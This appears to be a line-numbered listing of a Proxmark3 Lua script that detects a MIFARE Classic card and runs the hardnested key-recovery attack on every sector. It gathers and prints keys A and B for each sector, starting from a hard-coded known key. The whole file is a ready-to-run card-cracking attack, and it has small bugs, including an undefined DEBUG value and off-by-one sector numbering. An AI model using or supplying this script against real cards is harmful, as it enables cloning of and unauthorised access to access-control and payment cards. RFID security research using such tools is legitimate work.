]>
Commit | Line | Data |
---|---|---|
1 | local cmds = require('commands') | |
2 | local getopt = require('getopt') | |
3 | local utils = require('utils') | |
4 | local lib14a = require('read14a') | |
5 | ||
6 | example = "script iterates over all possible sectors for a tag and runs hardnested attack against them to collect the keys." | |
7 | author = "Iceman" | |
8 | desc = | |
9 | [[ | |
10 | This script iterates over all possible sectors for a tag and runs hardnested attack against them to collect the keys. | |
11 | ||
12 | Arguments: | |
13 | -k Known key, 6 bytes (12 hex digits) | |
14 | -a key A | |
15 | -b key B | |
16 | -s Blocknumber for known key | |
17 | Examples : | |
18 | script hard -k 112233445566 | |
19 | ]] | |
20 | ||
21 | local numBlocks = 64 | |
22 | local numSectors = 16 | |
23 | local DEBUG = TRUE | |
24 | --- | |
25 | -- A debug printout-function | |
26 | function dbg(args) | |
27 | if not DEBUG then return end | |
28 | ||
29 | if type(args) == "table" then | |
30 | local i = 1 | |
31 | while result[i] do | |
32 | dbg(result[i]) | |
33 | i = i+1 | |
34 | end | |
35 | else | |
36 | print("###", args) | |
37 | end | |
38 | end | |
39 | --- | |
40 | -- This is only meant to be used when errors occur | |
41 | function oops(err) | |
42 | print("ERROR: ",err) | |
43 | return nil,err | |
44 | end | |
45 | --- | |
46 | -- Usage help | |
47 | function help() | |
48 | print(desc) | |
49 | print("Example usage") | |
50 | print(example) | |
51 | end | |
52 | -- | |
53 | -- Exit message | |
54 | function ExitMsg(msg) | |
55 | print( string.rep('--',20) ) | |
56 | print( string.rep('--',20) ) | |
57 | print(msg) | |
58 | print() | |
59 | end | |
60 | -- A little helper to place an item first in the list | |
61 | local function placeFirst(akey, list) | |
62 | akey = akey:lower() | |
63 | if list[1] == akey then | |
64 | -- Already at pole position | |
65 | return list | |
66 | end | |
67 | local result = {akey} | |
68 | --print(("Putting '%s' first"):format(akey)) | |
69 | for i,v in ipairs(list) do | |
70 | if v ~= akey then | |
71 | result[#result+1] = v | |
72 | end | |
73 | end | |
74 | return result | |
75 | end | |
76 | -- A function to display the results | |
77 | -- TODO: iceman 2016, still screws up output when a key is not found. | |
78 | local function displayresults(results) | |
79 | local sector, blockNo, keyA, keyB, succA, succB, _ | |
80 | ||
81 | print("|---|----------------|---|----------------|---|") | |
82 | print("|sec|key A |res|key B |res|") | |
83 | print("|---|----------------|---|----------------|---|") | |
84 | ||
85 | for sector,_ in pairs(results) do | |
86 | succA, succB, keyA, keyB = unpack(_) | |
87 | print(("|%03d| %s | %s | %s | %s |"):format(sector, keyA, succA, keyB, succB)) | |
88 | end | |
89 | print("|---|----------------|---|----------------|---|") | |
90 | ||
91 | end | |
92 | ||
93 | --[[ | |
94 | The mifare Classic 1k card has 16 sectors of 4 data blocks each. | |
95 | The first 32 sectors of a mifare Classic 4k card consists of 4 data blocks and the remaining | |
96 | 8 sectors consist of 16 data blocks. | |
97 | --]] | |
98 | local function GetTargetBlockNo(sector) | |
99 | local trgblockno = sector * 4 - 1 | |
100 | if sector > 32 then | |
101 | trgblockno = 32 * 4 + (sector-32) * 16 -1 | |
102 | end | |
103 | return ("%02x"):format(trgblockno) | |
104 | end | |
105 | ||
106 | --- | |
107 | -- The main entry point | |
108 | function main(args) | |
109 | ||
110 | local blockno = '00' | |
111 | local keytype | |
112 | local key = 'fc00018778f7' | |
113 | local trgkey = '' | |
114 | local numSectors = 16 | |
115 | ||
116 | -- Read the parameters | |
117 | for o, a in getopt.getopt(args, 'hk:abs:') do | |
118 | if o == "h" then return help() end | |
119 | if o == "k" then key = a end | |
120 | if o == "a" then keytype = '0' end | |
121 | if o == "b" then keytype = '1' end | |
122 | if o == "s" then blockno = a end | |
123 | end | |
124 | ||
125 | keytype = keytype or '0' | |
126 | ||
127 | -- Turn off Debug | |
128 | local cmdSetDbgOff = "hf mf dbg 0" | |
129 | core.console( cmdSetDbgOff) | |
130 | core.clearCommandBuffer() | |
131 | -- identify tag | |
132 | result, err = lib14a.read1443a(false) | |
133 | if not result then return oops(err) end | |
134 | ||
135 | -- Show tag info | |
136 | print((' Found tag %s'):format(result.name)) | |
137 | ||
138 | if 0x18 == result.sak then --NXP MIFARE Classic 4k | Plus 4k | |
139 | -- IFARE Classic 4K offers 4096 bytes split into forty sectors, | |
140 | -- of which 32 are same size as in the 1K with eight more that are quadruple size sectors. | |
141 | numSectors = 40 | |
142 | elseif 0x08 == result.sak then -- NXP MIFARE CLASSIC 1k | Plus 2k | |
143 | -- 1K offers 1024 bytes of data storage, split into 16 sector | |
144 | numSectors = 16 | |
145 | elseif 0x09 == result.sak then -- NXP MIFARE Mini 0.3k | |
146 | -- MIFARE Classic mini offers 320 bytes split into five sectors. | |
147 | numSectors = 5 | |
148 | elseif 0x10 == result.sak then-- "NXP MIFARE Plus 2k" | |
149 | numSectors = 32 | |
150 | else | |
151 | print("I don't know how many sectors there are on this type of card, defaulting to 16") | |
152 | end | |
153 | ||
154 | result = {} | |
155 | for sector=1,numSectors do | |
156 | ||
157 | local trgblockno = GetTargetBlockNo(sector) | |
158 | local succA = 1 | |
159 | local succB = 1 | |
160 | local keyA = '' | |
161 | local keyB = '' | |
162 | ||
163 | for targetkeytype=0,1 do | |
164 | ||
165 | -- skip first sector, KeyA... | |
166 | -- or actually blockNo and keytype | |
167 | -- just try default for now | |
168 | if sector == 1 and targetkeytype == 0 then | |
169 | keyA = utils.ConvertHexToAscii(key) | |
170 | else | |
171 | local err, foundkey = core.hardnested(blockno, keytype, key, trgblockno, tostring(targetkeytype), trgkey, 0,0,0,0) | |
172 | foundkey = foundkey or "" | |
173 | ||
174 | if targetkeytype == 0 then | |
175 | if err == nil or err > 0 then succA = 0 else keyA = foundkey end | |
176 | else | |
177 | if err == nil or err > 0 then succB = 0 else keyB = foundkey end | |
178 | end | |
179 | end | |
180 | ||
181 | -- clearing BigBuff between hardnested executions seems to make it more stable. | |
182 | core.clearCommandBuffer() | |
183 | core.console('data buffclear') | |
184 | end | |
185 | -- Check if user aborted | |
186 | if core.ukbhit() then | |
187 | print("Aborted by user") | |
188 | break | |
189 | end | |
190 | -- log | |
191 | result[sector] = { succA, succB, utils.ConvertAsciiToHex(keyA), utils.ConvertAsciiToHex(keyB) } | |
192 | end | |
193 | displayresults(result) | |
194 | end | |
195 | ||
196 | main(args) |